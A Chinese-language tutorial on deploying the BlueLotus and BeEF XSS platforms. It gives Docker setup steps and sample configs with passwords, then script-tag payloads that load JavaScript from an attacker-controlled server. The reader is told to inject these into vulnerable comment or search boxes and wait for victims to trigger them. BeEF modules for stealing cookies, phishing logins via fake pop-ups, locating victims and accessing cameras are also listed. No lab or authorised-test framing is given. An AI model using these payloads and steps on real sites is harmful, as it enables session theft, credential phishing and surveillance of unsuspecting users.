XSS 漏洞利用平台
BlueLotus
安装
以下是 BlueLotus 的安装步骤,使用 Docker 容器化部署以简化环境配置。
下载 BlueLotus 源码 从 GitHub 官方仓库下载 BlueLotus_XSSReceiver 项目源码。 可以通过以下命令克隆仓库:
# 克隆 BlueLotus_XSSReceiver 仓库到本地 git clone https://github.com/firesunCN/BlueLotus_XSSReceiver.git
使用 Docker 部署 BlueLotus 提供官方 Docker 镜像,简化安装过程。执行以下命令拉取镜像并运行容器:
# 运行 BlueLotus 的 Docker 容器,映射端口 10001 到主机 docker run -d -p 10001:80 --name xssreceiver n3uz/xssreceiver
配置 config.php 文件 需要将配置文件
config.php
复制到容器中的/app
目录。 示例config.php
内容如下:······ define('PASS', '2a05218c7aa0a6dbd370985d984627b8'); define('DATA_PATH', 'data'); define('JS_TEMPLATE_PATH', 'template'); define('MY_JS_PATH', 'myjs'); define('ENABLE_ENCRYPT', true); define('ENCRYPT_PASS', 'bluelotus'); define('ENCRYPT_TYPE', 'RC4'); ······
将
config.php
复制到容器:# 将本地的 config.php 文件复制到容器中的 /app 目录 docker cp config.php xssreceiver:/app
访问管理面板 部署完成后,通过浏览器访问
http://<服务器IP>:10001/login.php
。 使用默认密码bluelotus
登录管理面板,登录后可查看捕获的数据。
使用
BlueLotus 的使用流程主要包括生成 Payload、注入漏洞页面以及查看捕获的信息。
生成 Payload 在管理面板中,进入 “我的 JS”模块,新增模板,生成用于注入的 Payload。 示例 Payload:
<!-- XSS Payload,用于加载远程 JavaScript 脚本 --> <script src="http://192.168.126.99:10001/myjs/666.js"></script>
注入 Payload 将生成的 Payload 注入到存在 XSS 漏洞的网页输入框中(如评论框、搜索框等)。
<!-- 假设目标网站有一个未过滤的输入框 --> <!-- 将以下 Payload 填入评论框 --> <script src="http://192.168.126.99:10001/myjs/666.js"></script>
等待受害者触发 当受害者访问包含 Payload 的页面时,Payload 会加载远程脚本,触发 BlueLotus 的信息收集功能。 登录管理面板(
http://<服务器IP>:10001/login.php
)即可查看捕获的 Cookie、浏览器信息等数据。
BeEF
安装
以下是 BeEF 的安装步骤,同样推荐使用 Docker 部署以简化环境配置。
下载 BeEF 源码 从 GitHub 官方仓库下载 BeEF 项目源码。 克隆仓库:
# 克隆 BeEF 仓库到本地 git clone https://github.com/beefproject/beef.git cd beef
修改配置文件 编辑
config.yaml
文件,设置管理面板的登录凭据。 示例config.yaml
部分内容:······ version: '0.5.4.0' # More verbose messages (server-side) debug: false # More verbose messages (client-side) client_debug: false # Used for generating secure tokens crypto_default_value_length: 80 # Credentials to authenticate in BeEF. # Used by both the RESTful API and the Admin interface credentials: # 修改登陆用户名 密码 user: "zhangsan" passwd: "123456" ······
构建和运行 Docker 容器 在 BeEF 源码目录下构建 Docker 镜像并运行容器:
# 构建 BeEF Docker 镜像 docker build -t beef . # 运行镜像 docker run -d -p 3000:3000 --name beef beef
访问管理面板 通过浏览器访问
http://<服务器IP>:3000/ui/authentication
,使用config.yaml
中设置的用户名和密码登录。
使用
BeEF 的使用流程包括生成 Payload、注入漏洞页面以及利用命令模块执行高级操作。
生成 Payload 登录 BeEF 管理面板后,生成用于注入的 Hook Payload。 Payload:
<!-- BeEF Hook Payload,用于加载远程 JavaScript 脚本 --> <script src="http://192.168.126.99:3000/hook.js"></script>
注入 Payload 将 Payload 注入到存在 XSS 漏洞的网页输入框中,此步骤同 BlueLotus。
等待受害者触发 当受害者访问包含 Payload 的页面时,浏览器会加载
hook.js
,将受害者的浏览器与 BeEF 服务器连接。在管理面板的 “Online Browsers” 选项卡中可以看到已连接的受害者浏览器。执行命令 BeEF 提供了丰富的命令模块,可对受害者的浏览器执行操作,如获取地理位置、弹出钓鱼页面等。
Details 信息
BeEF 的管理面板提供详细的受害者信息,包括:
- 浏览器类型和版本
- 操作系统信息
- Cookie 数据
- 地理位置(需受害者浏览器支持)
- 屏幕分辨率和窗口大小
- ······
Commands
BeEF 提供多种命令模块,用于实现高级功能:
- 地理定位 获取受害者的地理位置(需要浏览器权限)。
- 钓鱼攻击 弹出伪装的登录页面,诱导用户输入凭据。
- 摄像头捕获 尝试访问受害者的摄像头(需要权限)。